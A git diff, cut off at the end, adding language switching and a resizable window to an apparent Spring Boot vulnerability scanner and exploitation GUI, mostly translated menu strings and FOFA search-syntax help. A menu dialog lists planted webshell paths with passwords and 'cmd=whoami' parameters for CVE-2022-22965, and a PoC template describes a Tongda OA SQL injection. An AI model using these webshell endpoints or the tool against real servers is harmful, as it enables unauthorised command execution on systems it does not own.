diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..2361bee --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +__pycache__/ +*.pyc +config/lang.json diff --git a/com/Banner.py b/com/Banner.py index a3e7762..a473c67 100644 --- a/com/Banner.py +++ b/com/Banner.py @@ -1,6 +1,8 @@ # coding=utf-8 from util import JsonMethod +from util import Translate +from util.Translate import tr def banner(): version_load = JsonMethod.JsonMethod() @@ -57,13 +59,8 @@ def EXP(): | $$_____ | $$ \$$\| $$ | $$ \| $$ | $$| $$ \$$$$$$$$ \$$ \$$ \$$ - -仅支持CVE-2022-22947 - CVE-2022-22965 - CVE-2022-22963 - - ''' + string = string + tr("banner.exp_support") return string def Download(): string=r""" @@ -76,8 +73,8 @@ def Download(): """ return string -def FofaInfo(): - string=r'''逻辑连接符/语法 具体含义 + +FOFA_INFO_CN = r'''逻辑连接符/语法 具体含义 ----------------------------------------- = 匹配,=""时,可查询不存在字段或者值为空的情况。 @@ -159,21 +156,21 @@ def FofaInfo(): 搜索使用此 icon 的资产 ----------------------------------------- host=".gov.cn" -从url中搜索”.gov.cn” +从url中搜索”.gov.cn“ 搜索要用host作为名称 ----------------------------------------- port="6379" -查找对应“6379”端口的资产 +查找对应”6379“端口的资产 ----------------------------------------- ip="1.1.1.1" -从ip中搜索包含“1.1.1.1”的网站 +从ip中搜索包含”1.1.1.1“的网站 搜索要用ip作为名称 ----------------------------------------- ip="220.181.111.1/24" -查询IP为“220.181.111.1”的C网段资产 +查询IP为”220.181.111.1“的C网段资产 ----------------------------------------- status_code="402" -查询服务器状态为“402”的资产 +查询服务器状态为”402“的资产 查询网站类型数据 ----------------------------------------- protocol="quic" @@ -308,7 +305,469 @@ def FofaInfo(): 搜索2019-09-09以前的ip资产(以ip为单位的资产数据) 搜索2019-09-09以前的ip资产 ''' - return string + +FOFA_INFO_US = r'''Logical operators / syntax Meaning +----------------------------------------- += +Match. ="" also matches fields that do not exist or are empty. +----------------------------------------- +== +Exact match. =="" matches fields that exist and are empty. +----------------------------------------- +&& +AND +----------------------------------------- +|| +OR +----------------------------------------- +!= +No match. !="" matches empty values. +----------------------------------------- +*= +Fuzzy match using * or ?, e.g. banner*="mys??" (personal plan and above). +----------------------------------------- +() +Sets query priority; bracketed content has the highest priority. +----------------------------------------- +title="beijing" +Search "beijing" in the page title +----------------------------------------- +header="elastic" +Search "elastic" in the HTTP headers +----------------------------------------- +header_hash="1258854265" [new] +Search by hash computed from HTTP/HTTPS response headers +Personal plan and above +----------------------------------------- +body="cyberspace mapping" +Search the given text in the HTML body +----------------------------------------- +body_hash="-2090962452" [new] +Search by hash computed from the HTML body +----------------------------------------- +fid="sSXXGNUO2FefBTcCLIT/2Q==" +Find websites with the same fingerprint +Website-type assets +----------------------------------------- +domain="qq.com" +Search websites whose root domain contains qq.com +----------------------------------------- +icp="京ICP证030173号" +Find websites with the given ICP license number +Website-type assets +----------------------------------------- +js_name="js/jquery.js" +Find assets whose body contains js/jquery.js +Website-type assets +----------------------------------------- +js_md5="82ac3f14327a8b7ba49baa208d4eaa15" +Find assets whose JS source matches this MD5 +----------------------------------------- +cname="ap21.inst.siteforce.com" +Find websites with this CNAME +----------------------------------------- +cname_domain="siteforce.com" +Find websites whose CNAME contains siteforce.com +----------------------------------------- +cloud_name="Aliyundun" [new] +Search assets by cloud service name +----------------------------------------- +product="NGINX" [new] +Search assets of this product +Personal plan and above +----------------------------------------- +category="Service" [new] +Search assets of this product category +Personal plan and above +----------------------------------------- +sdk_hash=="Mkb4Ms4R96glv/T6TRzwPWh3UDatBqeF" new +Search assets using this SDK +Business plan and above +----------------------------------------- +icon_hash="-247388890" +Search assets using this icon +----------------------------------------- +host=".gov.cn" +Search ".gov.cn" in the URL +Use "host" as the field name +----------------------------------------- +port="6379" +Find assets listening on port 6379 +----------------------------------------- +ip="1.1.1.1" +Search websites containing IP 1.1.1.1 +Use "ip" as the field name +----------------------------------------- +ip="220.181.111.1/24" +Query class-C assets of IP 220.181.111.1 +----------------------------------------- +status_code="402" +Query assets whose server returns 402 +Website-type data +----------------------------------------- +protocol="quic" +Query QUIC protocol assets +Only effective when port scanning is enabled +----------------------------------------- +country="CN" +Search assets by country code +----------------------------------------- +region="Xinjiang Uyghur Autonomous Region" +Search assets by administrative region +----------------------------------------- +city="Ürümqi" +Search assets by city +----------------------------------------- +cert="baidu" +Search certificates (HTTPS, IMAPS, etc.) containing baidu +----------------------------------------- +cert.subject="Oracle Corporation" +Search assets whose certificate owner is Oracle Corporation +----------------------------------------- +cert.issuer="DigiCert" +Search assets whose certificate issuer is DigiCert Inc +----------------------------------------- +cert.is_valid=true +Check certificate validity: true valid, false invalid +Personal plan and above +----------------------------------------- +cert.is_match=true [new] +Certificate/domain match: true match, false mismatch +Personal plan and above +----------------------------------------- +cert.is_expired=false [new] +Certificate expired: true expired, false not expired +Personal plan and above +----------------------------------------- +cert.subject.org="Oracle Corporation" [new] +Search the certificate owner's organization +----------------------------------------- +cert.subject.cn="baidu.com" [new] +Search the certificate owner's common name +----------------------------------------- +cert.issuer.org="cPanel, Inc." [new] +Search the certificate issuer's organization +----------------------------------------- +cert.issuer.cn="Synology Inc. CA" [new] +Search the certificate issuer's common name +----------------------------------------- +jarm="2ad...83e81" +Search JARM fingerprints +----------------------------------------- +banner="users" && protocol="ftp" +Search FTP assets whose banner contains "users" +----------------------------------------- +type="service" +Search all protocol assets (subdomain or service) +----------------------------------------- +os="centos" +Search CentOS assets +----------------------------------------- +server=="Microsoft-IIS/10" +Search IIS 10 servers +----------------------------------------- +app="Microsoft-Exchange" +Search Microsoft-Exchange devices +----------------------------------------- +after="2017" && before="2017-10-01" +Search by time range +----------------------------------------- +asn="19551" +Search assets by ASN +----------------------------------------- +org="LLC Baxet" +Search assets by organization +----------------------------------------- +base_protocol="udp" +Search UDP protocol assets +----------------------------------------- +is_fraud=false [new] +Exclude fake/fraudulent data +Professional plan and above +----------------------------------------- +is_honeypot=false +Exclude honeypot data +Professional plan and above +----------------------------------------- +is_ipv6=true +Search IPv6 assets (accepts true/false only) +----------------------------------------- +is_domain=true +Search domain assets (accepts true/false only) +----------------------------------------- +is_cloud=true [new] +Filter assets using cloud services +----------------------------------------- +port_size="6" +Query assets with exactly 6 open ports +Personal plan and above +----------------------------------------- +port_size_gt="6" +Query assets with more than 6 open ports +Personal plan and above +----------------------------------------- +port_size_lt="12" +Query assets with fewer than 12 open ports +Personal plan and above +----------------------------------------- +ip_ports="80,161" +Search IPs with both ports 80 and 161 open +IP-based asset data +----------------------------------------- +ip_country="CN" +Search IP assets of China +IP-based asset data +----------------------------------------- +ip_region="Zhejiang" +Search IP assets by administrative region +IP-based asset data +----------------------------------------- +ip_city="Hangzhou" +Search IP assets by city +IP-based asset data +----------------------------------------- +ip_after="2021-03-18" +Search IP assets seen after 2021-03-18 +IP-based asset data +----------------------------------------- +ip_before="2019-09-09" +Search IP assets seen before 2019-09-09 +IP-based asset data +''' + +FOFA_INFO_FR = r'''Opérateurs logiques / syntaxe Signification +----------------------------------------- += +Correspondance. ="" interroge aussi les champs inexistants ou vides. +----------------------------------------- +== +Correspondance exacte. =="" interroge les champs existants et vides. +----------------------------------------- +&& +ET +----------------------------------------- +|| +OU +----------------------------------------- +!= +Non-correspondance. !="" interroge les valeurs vides. +----------------------------------------- +*= +Correspondance floue avec * ou ?, ex. banner*="mys??" (offre personnelle et plus). +----------------------------------------- +() +Définit la priorité ; le contenu entre parenthèses est prioritaire. +----------------------------------------- +title="beijing" +Recherche « beijing » dans le titre de la page +----------------------------------------- +header="elastic" +Recherche « elastic » dans les en-têtes HTTP +----------------------------------------- +header_hash="1258854265" [new] +Recherche par hash calculé des en-têtes HTTP/HTTPS +Offre personnelle et plus +----------------------------------------- +body="cartographie du cyberespace" +Recherche le texte donné dans le corps HTML +----------------------------------------- +body_hash="-2090962452" [new] +Recherche par hash calculé du corps HTML +----------------------------------------- +fid="sSXXGNUO2FefBTcCLIT/2Q==" +Trouve les sites ayant la même empreinte +Actifs de type site web +----------------------------------------- +domain="qq.com" +Recherche les sites dont le domaine racine contient qq.com +----------------------------------------- +icp="京ICP证030173号" +Trouve les sites avec ce numéro de licence ICP +Actifs de type site web +----------------------------------------- +js_name="js/jquery.js" +Trouve les actifs dont le corps contient js/jquery.js +Actifs de type site web +----------------------------------------- +js_md5="82ac3f14327a8b7ba49baa208d4eaa15" +Trouve les actifs dont le code JS correspond à ce MD5 +----------------------------------------- +cname="ap21.inst.siteforce.com" +Trouve les sites avec ce CNAME +----------------------------------------- +cname_domain="siteforce.com" +Trouve les sites dont le CNAME contient siteforce.com +----------------------------------------- +cloud_name="Aliyundun" [new] +Recherche d'actifs par nom de service cloud +----------------------------------------- +product="NGINX" [new] +Recherche les actifs de ce produit +Offre personnelle et plus +----------------------------------------- +category="Service" [new] +Recherche les actifs de cette catégorie de produit +Offre personnelle et plus +----------------------------------------- +sdk_hash=="Mkb4Ms4R96glv/T6TRzwPWh3UDatBqeF" new +Recherche les actifs utilisant ce SDK +Offre business et plus +----------------------------------------- +icon_hash="-247388890" +Recherche les actifs utilisant cette icône +----------------------------------------- +host=".gov.cn" +Recherche « .gov.cn » dans l'URL +Utilisez « host » comme nom de champ +----------------------------------------- +port="6379" +Trouve les actifs écoutant sur le port 6379 +----------------------------------------- +ip="1.1.1.1" +Recherche les sites contenant l'IP 1.1.1.1 +Utilisez « ip » comme nom de champ +----------------------------------------- +ip="220.181.111.1/24" +Interroge les actifs du réseau de classe C de 220.181.111.1 +----------------------------------------- +status_code="402" +Interroge les actifs dont le serveur renvoie 402 +Données de type site web +----------------------------------------- +protocol="quic" +Interroge les actifs en protocole QUIC +Effectif uniquement si le scan de ports est activé +----------------------------------------- +country="CN" +Recherche les actifs par code pays +----------------------------------------- +region="Xinjiang Uyghur Autonomous Region" +Recherche les actifs par région administrative +----------------------------------------- +city="Ürümqi" +Recherche les actifs par ville +----------------------------------------- +cert="baidu" +Recherche les certificats (HTTPS, IMAPS, etc.) contenant baidu +----------------------------------------- +cert.subject="Oracle Corporation" +Recherche les actifs dont le propriétaire du certificat est Oracle Corporation +----------------------------------------- +cert.issuer="DigiCert" +Recherche les actifs dont l'émetteur du certificat est DigiCert Inc +----------------------------------------- +cert.is_valid=true +Vérifie la validité du certificat : true valide, false invalide +Offre personnelle et plus +----------------------------------------- +cert.is_match=true [new] +Correspondance certificat/domaine : true oui, false non +Offre personnelle et plus +----------------------------------------- +cert.is_expired=false [new] +Certificat expiré : true oui, false non +Offre personnelle et plus +----------------------------------------- +cert.subject.org="Oracle Corporation" [new] +Recherche l'organisation du propriétaire du certificat +----------------------------------------- +cert.subject.cn="baidu.com" [new] +Recherche le nom commun du propriétaire du certificat +----------------------------------------- +cert.issuer.org="cPanel, Inc." [new] +Recherche l'organisation de l'émetteur du certificat +----------------------------------------- +cert.issuer.cn="Synology Inc. CA" [new] +Recherche le nom commun de l'émetteur du certificat +----------------------------------------- +jarm="2ad...83e81" +Recherche les empreintes JARM +----------------------------------------- +banner="users" && protocol="ftp" +Recherche les actifs FTP dont la bannière contient « users » +----------------------------------------- +type="service" +Recherche tous les actifs par protocole (subdomain ou service) +----------------------------------------- +os="centos" +Recherche les actifs CentOS +----------------------------------------- +server=="Microsoft-IIS/10" +Recherche les serveurs IIS 10 +----------------------------------------- +app="Microsoft-Exchange" +Recherche les équipements Microsoft-Exchange +----------------------------------------- +after="2017" && before="2017-10-01" +Recherche par plage de dates +----------------------------------------- +asn="19551" +Recherche les actifs par ASN +----------------------------------------- +org="LLC Baxet" +Recherche les actifs par organisation +----------------------------------------- +base_protocol="udp" +Recherche les actifs en protocole UDP +----------------------------------------- +is_fraud=false [new] +Exclut les données usurpées/frauduleuses +Offre professionnelle et plus +----------------------------------------- +is_honeypot=false +Exclut les données de honeypots +Offre professionnelle et plus +----------------------------------------- +is_ipv6=true +Recherche les actifs IPv6 (accepte true/false uniquement) +----------------------------------------- +is_domain=true +Recherche les actifs par domaine (accepte true/false uniquement) +----------------------------------------- +is_cloud=true [new] +Filtre les actifs utilisant des services cloud +----------------------------------------- +port_size="6" +Interroge les actifs ayant exactement 6 ports ouverts +Offre personnelle et plus +----------------------------------------- +port_size_gt="6" +Interroge les actifs ayant plus de 6 ports ouverts +Offre personnelle et plus +----------------------------------------- +port_size_lt="12" +Interroge les actifs ayant moins de 12 ports ouverts +Offre personnelle et plus +----------------------------------------- +ip_ports="80,161" +Recherche les IP ayant à la fois les ports 80 et 161 ouverts +Données d'actifs par IP +----------------------------------------- +ip_country="CN" +Recherche les actifs IP de Chine +Données d'actifs par IP +----------------------------------------- +ip_region="Zhejiang" +Recherche les actifs IP par région administrative +Données d'actifs par IP +----------------------------------------- +ip_city="Hangzhou" +Recherche les actifs IP par ville +Données d'actifs par IP +----------------------------------------- +ip_after="2021-03-18" +Recherche les actifs IP vus après le 2021-03-18 +Données d'actifs par IP +----------------------------------------- +ip_before="2019-09-09" +Recherche les actifs IP vus avant le 2019-09-09 +Données d'actifs par IP +''' + +FOFA_INFO = {"CN": FOFA_INFO_CN, "US": FOFA_INFO_US, "FR": FOFA_INFO_FR} + +def FofaInfo(): + return FOFA_INFO.get(Translate.current(), FOFA_INFO_US) def PoCPro(): string = r"""{ "id": "", @@ -318,7 +777,7 @@ def PoCPro(): "severity": "", "description": "通达OA v11.6 report_bi.func.php 存在SQL注入漏洞,攻击者通过漏洞可以获取数据库信息", "reference": [ - "https://peiqi.wgpsec.org/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20report_bi.func.php%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html" + "https://peiqi.wgpsec.org/wiki/oa/%E9%80%9A%E8%BE%BEEOA/%E9%80%9A%E8%BE%BEEOA%20v11.6%20report_bi.func.php%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html" ], "classification": { "cvss-metrics": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", @@ -363,4 +822,4 @@ def PoCPro(): } ] }""" - return string \ No newline at end of file + return string diff --git a/com/MenuTab.py b/com/MenuTab.py index 2836aca..e54588b 100644 --- a/com/MenuTab.py +++ b/com/MenuTab.py @@ -9,9 +9,13 @@ from pages.config import LogConfig from pages.config import ProxyConfig from util import JsonMethod +from util import Translate +from util.Translate import tr + class MenuTab: - def __init__(self,window): + def __init__(self,window,on_language_change=None): self.window = window + self.on_language_change = on_language_change # 初始化读取配置功能页面 self.fofaconfig = FofaConfig.FofaConfig() @@ -23,7 +27,7 @@ def __init__(self,window): # menutab menu = Menu(self.window) menu_kid = Menu(menu, tearoff=0) - menu.add_cascade(label='菜单', menu=menu_kid) + menu.add_cascade(label=tr("menu.menu"), menu=menu_kid) menu_clear = Menu(menu_kid, tearoff=0) menu_kid.add_cascade(label='clear', menu=menu_clear) menu_clear.add_command(label='save', command=self.SaveClear) @@ -32,39 +36,48 @@ def __init__(self,window): menu_kid.add_command(label='FofaInfo', command=self.FofaInfo) menu_kid.add_command(label='ShellInfo', command=self.ShellInfo) menu_kid.add_separator() - menu_kid.add_command(label='退出', command=self.Exit, accelerator='Esc') + menu_kid.add_command(label=tr("menu.exit"), command=self.Exit, accelerator='Esc') menu_set = Menu(menu, tearoff=0) - menu.add_cascade(label='配置', menu=menu_set) - menu_set.add_command(label='资产测绘', command=self.fofaconfig.page, accelerator='Ctrl+F') - menu_set.add_command(label='代理设置', command=self.proxyconfig.page, accelerator='Ctrl+P') - menu_set.add_command(label='日志设置', command=self.logconfig.page, accelerator='Ctrl+U') - menu_set.add_command(label='漏扫设置', command=self.vulnconfig.page, accelerator='Ctrl+G') + menu.add_cascade(label=tr("menu.config"), menu=menu_set) + menu_set.add_command(label=tr("menu.fofa_cfg"), command=self.fofaconfig.page, accelerator='Ctrl+F') + menu_set.add_command(label=tr("menu.proxy_cfg"), command=self.proxyconfig.page, accelerator='Ctrl+P') + menu_set.add_command(label=tr("menu.log_cfg"), command=self.logconfig.page, accelerator='Ctrl+U') + menu_set.add_command(label=tr("menu.vuln_cfg"), command=self.vulnconfig.page, accelerator='Ctrl+G') + + menu_lang = Menu(menu, tearoff=0) + menu.add_cascade(label=tr("menu.language"), menu=menu_lang) + menu_lang.add_command(label='中文', command=lambda: self.SwitchLanguage('CN')) + menu_lang.add_command(label='English', command=lambda: self.SwitchLanguage('US')) + menu_lang.add_command(label='Français', command=lambda: self.SwitchLanguage('FR')) menu_help = Menu(menu, tearoff=0) - menu.add_cascade(label='帮助', menu=menu_help) + menu.add_cascade(label=tr("menu.help"), menu=menu_help) menu_help.add_command(label='issues', command=self.Issues) - menu_help.add_command(label='关于', command=self.About) + menu_help.add_command(label=tr("menu.about"), command=self.About) menu_about = Menu(menu, tearoff=0) - menu.add_cascade(label='更多', menu=menu_about) + menu.add_cascade(label=tr("menu.more"), menu=menu_about) menu_about.add_command(label='13EXP', command=self.MyGitHub) menu_about.add_command(label='AabyssZGBlog', command=self.AabyssZGBlog) menu_about.add_command(label='FofaViwer', command=self.FofaViwer) menu_about.add_command(label='HongYan', command=self.MoreVulns) - menu_about.add_command(label='检查更新', command=self.UpdateCheck) + menu_about.add_command(label=tr("menu.check_update"), command=self.UpdateCheck) # 右键菜单加载 self.MenuPageRight() self.window.config(menu=menu) + def SwitchLanguage(self,lang): + if self.on_language_change is not None: + self.on_language_change(lang) def SaveClear(self): path = "./save" result = self.DirClear(path) - messagebox.showinfo("删除",result) + messagebox.showinfo(tr("menu.del_title"),result) def LogsClear(self): path = "./logs" result = self.DirClear(path) - messagebox.showinfo("删除", result) + messagebox.showinfo(tr("menu.del_title"), result) def DirClear(self,path): if os.path.exists(path): for root, dirs, files in os.walk(path, topdown=False): @@ -73,20 +86,20 @@ def DirClear(self,path): try: os.remove(file_path) except: - result = "删除文件时出现未知错误!" + result = tr("menu.del_file_err") return result for dir in dirs: dir_path = os.path.join(root, dir) try: os.rmdir(dir_path) except: - result = "删除目录时出现未知错误!" + result = tr("menu.del_dir_err") return result - result = f"删除{path}下文件成功" + result = tr("menu.del_ok", path=path) return result else: os.mkdir(path) - result = f"不存在{path}已自动创建!" + result = tr("menu.del_missing", path=path) return result def UpdateCheck(self): try: @@ -95,27 +108,27 @@ def UpdateCheck(self): req = requests.get(url=git_url) git_version = eval(req.text)["version"] if git_version > now_version: - update = messagebox.askokcancel("更新",f"检测到新版本{git_version},是否前往更新?") + update = messagebox.askokcancel(tr("common.update"),tr("menu.update_found", version=git_version)) if update == True: webbrowser.open('https://github.com/13exp/SpringBoot-Scan-GUI') else: - messagebox.showinfo("更新", "当前已为最新版本") + messagebox.showinfo(tr("common.update"), tr("menu.update_latest")) except: - messagebox.showerror("错误", "网络、代理或未知错误,检查更新失败!\n请稍后再试") + messagebox.showerror(tr("common.error"), tr("menu.update_fail")) def FofaInfo(self): - messagebox.showinfo("Fofa语法",'根据图标 : icon_hash="116323821"\n网页内容识别 : body="Whitelabel Error Page"') + messagebox.showinfo("FofaInfo",tr("menu.fofa_info")) def ShellInfo(self): - messagebox.showinfo("CVE-2022-22965 Shell信息","CVE-2022-22965 : shell.jsp?cmd=whoami\n22965-13exp-shell : wbexp.jsp?pwd=13exp&cmd=whoami\n22965-aabyss-shell: tomcatwar.jsp?pwd=aabysszg&cmd=whoami") + messagebox.showinfo("CVE-2022-22965 ShellInfo","CVE-2022-22965 : shell.jsp?cmd=whoami\n22965-13exp-shell : wbexp.jsp?pwd=13exp&cmd=whoami\n22965-aabyss-shell: tomcatwar.jsp?pwd=aabysszg&cmd=whoami") def Exit(self): - Exit = messagebox.askokcancel('退出','确定退出吗?') + Exit = messagebox.askokcancel(tr("menu.exit"),tr("menu.exit_confirm")) if Exit == True: self.window.destroy() sys.exit() def About(self): - messagebox.showinfo("关于","敬请期待···") + messagebox.showinfo(tr("menu.about"),tr("menu.about_text")) def FofaViwer(self): webbrowser.open('https://github.com/wgpsec/fofa_viewer') @@ -146,26 +159,25 @@ def MenuPageRight(self): # self.menu_right.add_command(label='漏扫利用', command=self.vule, accelerator='Ctrl+R') # self.menu_right.add_separator() self.right_config = Menu(self.menu_right, tearoff=0) - self.menu_right.add_cascade(label='配置', menu=self.right_config) - self.right_config.add_command(label='资产测绘', command=self.fofaconfig.page, accelerator='Ctrl+F') - self.right_config.add_command(label='代理设置', command=self.proxyconfig.page, accelerator='Ctrl+P') - self.right_config.add_command(label='日志设置', command=self.logconfig.page, accelerator='Ctrl+U') - self.right_config.add_command(label='漏扫设置', command=self.vulnconfig.page, accelerator='Ctrl+G') - self.menu_right.add_separator() + self.menu_right.add_cascade(label=tr("menu.config"), menu=self.right_config) + self.right_config.add_command(label=tr("menu.fofa_cfg"), command=self.fofaconfig.page, accelerator='Ctrl+F') + self.right_config.add_command(label=tr("menu.proxy_cfg"), command=self.proxyconfig.page, accelerator='Ctrl+P') + self.right_config.add_command(label=tr("menu.log_cfg"), command=self.logconfig.page, accelerator='Ctrl+U') + self.right_config.add_command(label=tr("menu.vuln_cfg"), command=self.vulnconfig.page, accelerator='Ctrl+G') self.right_more = Menu(self.menu_right, tearoff=0) - self.menu_right.add_cascade(label='更多', menu=self.right_more) + self.menu_right.add_cascade(label=tr("menu.more"), menu=self.right_more) self.right_more.add_command(label='13EXP', command=self.MyGitHub) - self.right_more.add_command(label='利用姿势', command=self.AabyssZGBlog) + self.right_more.add_command(label=tr("menu.usage"), command=self.AabyssZGBlog) self.right_more.add_command(label='FofaViewer', command=self.FofaViwer) self.right_more.add_command(label='HongYan', command=self.MoreVulns) - self.right_more.add_command(label='检查更新', command=self.UpdateCheck) + self.right_more.add_command(label=tr("menu.check_update"), command=self.UpdateCheck) self.menu_right.add_separator() self.right_clear = Menu(self.menu_right, tearoff=0) - self.menu_right.add_cascade(label='清除', menu=self.right_clear) + self.menu_right.add_cascade(label=tr("menu.clear"), menu=self.right_clear) self.right_clear.add_command(label='save', command=self.SaveClear) self.right_clear.add_command(label='logs', command=self.LogsClear) self.menu_right.add_separator() - self.menu_right.add_command(label='退出', command=self.Exit, accelerator='Esc') + self.menu_right.add_command(label=tr("menu.exit"), command=self.Exit, accelerator='Esc') # 快捷键 self.window.bind("", self.FofaRight) self.window.bind("", self.FofaRight) @@ -179,4 +191,4 @@ def MenuPageRight(self): self.window.bind("", self.MenuRight) def MenuRight(self,event): global right - self.menu_right.post(event.x_root, event.y_root) \ No newline at end of file + self.menu_right.post(event.x_root, event.y_root) diff --git a/core/core.py b/core/core.py index 885bf91..9cd3573 100644 --- a/core/core.py +++ b/core/core.py @@ -23,6 +23,8 @@ from vuls import JeeSpring_2023_Async from vuls import SnakeYAML_RCE_Async +from util.Translate import tr + class core: def __init__(self): self.sysType = SystemCheck.SystemType() @@ -80,17 +82,17 @@ def YamlOrJsonModel(self,data): if 'info' in data and 'description' in data['info'] and data['info']['description'] != None: self.explain.append(data['info']['description']) else: - self.explain.append("未定义") + self.explain.append(tr("core.undef")) if 'time' in data: self.time.append(data['time']) else: - self.time.append("未定义") + self.time.append(tr("core.undef")) if 'body' in (data['http'])[0]: self.body.append(((data['http'])[0])['body']) else: - self.body.append("占位符2") + self.body.append(tr("core.undef")) if 'Rheader' in (data['http'])[0]: self.Rheader.append(((data['http'])[0])['Rheader']) @@ -117,7 +119,7 @@ def YamlOrJsonModel(self,data): self.match.append((((data['http'])[0])['matchers'])) return True except Exception as e: - return f"数据载入错误 {e}" + return tr("core.load_err", e=e) def YamlOrJsonRequest(self,vulnName,model): vulns = self.jsonRead.VulnsConfigRead() vulnPathDict = vulns["path"]["standpath"] diff --git a/main.py b/main.py index c3ed573..fad981f 100644 --- a/main.py +++ b/main.py @@ -12,28 +12,36 @@ from com import MenuTab from util import SystemCheck +from util import Translate class SpringBootScanGUI: def __init__(self): systype = SystemCheck.SystemType() - + + # set when the user picks a new language in the menu + self.restart_requested = False + self.window = Tk() self.window.title("SpringBootScanGUI by:13EXP") - self.window.geometry("1230x600") - self.window.resizable(0, 0) + self.window.resizable(True, True) if systype == 'Windows': self.window.iconbitmap('./images/gui.ico') + # open maximized (full screen); F11 toggles true fullscreen + self.fullscreen = False + self.maximize() + self.window.bind("", self.toggle_fullscreen) + tabControl = ttk.Notebook(self.window) - + self.leakagetab = ttk.Frame(tabControl) self.exptab = ttk.Frame(tabControl) self.fofatab = ttk.Frame(tabControl) # self.createtab = ttk.Frame(tabControl) - tabControl.add(self.leakagetab,text="泄露扫描") - tabControl.add(self.exptab,text="漏洞扫描") - tabControl.add(self.fofatab,text="Fofa资产测绘") + tabControl.add(self.leakagetab,text=Translate.tr("tab.leak")) + tabControl.add(self.exptab,text=Translate.tr("tab.vuln")) + tabControl.add(self.fofatab,text=Translate.tr("tab.fofa")) # tabControl.add(self.createtab, text="PoC制作台") # 载入页面 @@ -42,27 +50,55 @@ def __init__(self): FofaPage.FofaPage(self.fofatab) # CreatePage.CreatePage(self.createtab) # 初始化菜单功能 - MenuTab.MenuTab(self.window) + MenuTab.MenuTab(self.window, on_language_change=self.change_language) tabControl.pack(expand=1,fill="both") self.window.mainloop() + + def maximize(self): + # Windows + try: + self.window.state('zoomed') + return + except Exception: + pass + # Linux (EWMH-compliant window managers) + try: + self.window.attributes('-zoomed', True) + return + except Exception: + pass + # Fallback: cover the whole screen manually + sw = self.window.winfo_screenwidth() + sh = self.window.winfo_screenheight() + self.window.geometry("{w}x{h}+0+0".format(w=sw, h=sh)) + + def toggle_fullscreen(self, event=None): + self.fullscreen = not self.fullscreen + try: + self.window.attributes("-fullscreen", self.fullscreen) + except Exception: + pass + return "break" + + def change_language(self, lang): + Translate.save_lang(lang) + self.restart_requested = True + self.window.destroy() + +def default_language(): + # first run: start in English; the language can then be changed + # at any time via the Menu -> Language menu + if Translate.saved_lang() is None: + Translate.save_lang("US") + if __name__ == '__main__': - start = SpringBootScanGUI() - '''systype = SystemCheck.SystemType() - if systype == 'Windows': - if SystemCheck.is_admin(): - start = SpringBootScanGUI() - else: - ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1) - elif systype == 'Linux': - if SystemCheck.is_root(): - start = SpringBootScanGUI() - else: - print(False) - elif systype == 'macOS': - if SystemCheck.is_root(): - start = SpringBootScanGUI() - else: - print(False) - else: - print('Faild Start Process...Please try agine!')''' + default_language() + while True: + # reload the string table on every (re)build so a language + # change from the menu applies immediately + Translate.load() + start = SpringBootScanGUI() + # destroyed on language change: rebuild the whole UI with the new table + if not start.restart_requested: + break diff --git a/pages/FofaPage.py b/pages/FofaPage.py index 6720d5e..88284a4 100644 --- a/pages/FofaPage.py +++ b/pages/FofaPage.py @@ -8,6 +8,7 @@ from util import InputCheck from util import URLMethod from util import JsonMethod +from util.Translate import tr from pages.config import FofaConfig import tkinter.messagebox as messagebox import tkinter.font as tkFont @@ -21,35 +22,28 @@ def __init__(self, windows): self.url_str = URLMethod.URLMethod() # 初始化读取配置功能 fofaconfig = FofaConfig.FofaConfig() - - self.frame_left = Frame(windows, width=900, height=600) - # self.frame_left.grid(row=0, column=0, columnspan=2, padx=5, pady=5) - self.frame_left.place(x=20,y=0) - Label(self.frame_left, text="搜索语法:", fg="black", font=("宋体", 12)).place(x=60, y=5) - - self.asset_rule = Entry(self.frame_left, width=52, font=tkFont.Font(size=14), bg='Ivory') - self.asset_rule.place(x=150, y=8) - self.asset_rule.insert(0,'icon_hash="116323821" || body="Whitelabel Error Page"') - self.btnSet = Button(self.frame_left, text="配置", font=tkFont.Font(size=12), width=5,command=fofaconfig.page, - height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", - cursor="hand2") - self.btnSet.place(x=0, y=5) - self.btnQery = Button(self.frame_left, text="查询", font=tkFont.Font(size=12), width=9,command=self.btnFofa, - height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", - cursor="hand2") - self.btnQery.place(x=690, y=5) + # 布局(mise en page mesurée et redimensionnable) + self.windows = windows + self.frame_left = Frame(windows) + self.frame_right = Frame(windows) - self.btnOutput = Button(self.frame_left, text="导出", font=tkFont.Font(size=12), width=9,command=self.output, - height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", + lab_rule = Label(self.frame_left, text=tr("fofa.search_syntax"), fg="black", font=("宋体", 12)) + self.asset_rule = Entry(self.frame_left, font=tkFont.Font(size=14), bg='Ivory') + self.asset_rule.insert(0, 'icon_hash="116323821" || body="Whitelabel Error Page"') + self.btnSet = Button(self.frame_left, text=tr("fofa.config"), font=tkFont.Font(size=12), command=fofaconfig.page, + fg="white", bg="gray", activeforeground="white", activebackground="black", + cursor="hand2") + self.btnQery = Button(self.frame_left, text=tr("fofa.query"), font=tkFont.Font(size=12), command=self.btnFofa, + fg="white", bg="gray", activeforeground="white", activebackground="black", + cursor="hand2") + self.btnOutput = Button(self.frame_left, text=tr("fofa.export"), font=tkFont.Font(size=12), command=self.output, + fg="white", bg="gray", activeforeground="white", activebackground="black", cursor="hand2") - self.btnOutput.place(x=790, y=5) - self.vbar_asset = ttk.Scrollbar(windows) - self.asset_info = Text(self.frame_left, width=125, height=38, yscrollcommand=self.vbar_asset.set) - self.asset_info.place(x=0, y=50) + self.vbar_asset = ttk.Scrollbar(self.frame_left) + self.asset_info = Text(self.frame_left, yscrollcommand=self.vbar_asset.set) self.vbar_asset.config(command=self.asset_info.yview) - self.vbar_asset.pack(side=tk.RIGHT, fill="y") ua = RandomUA.RandomUA() self.ua = ua.UserAgent() @@ -58,20 +52,86 @@ def __init__(self, windows): 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' } # 右方区域 - self.frame_right = Frame(windows, width=300, height=600) - # self.frame_right.grid(row=0, column=2, columnspan=2, 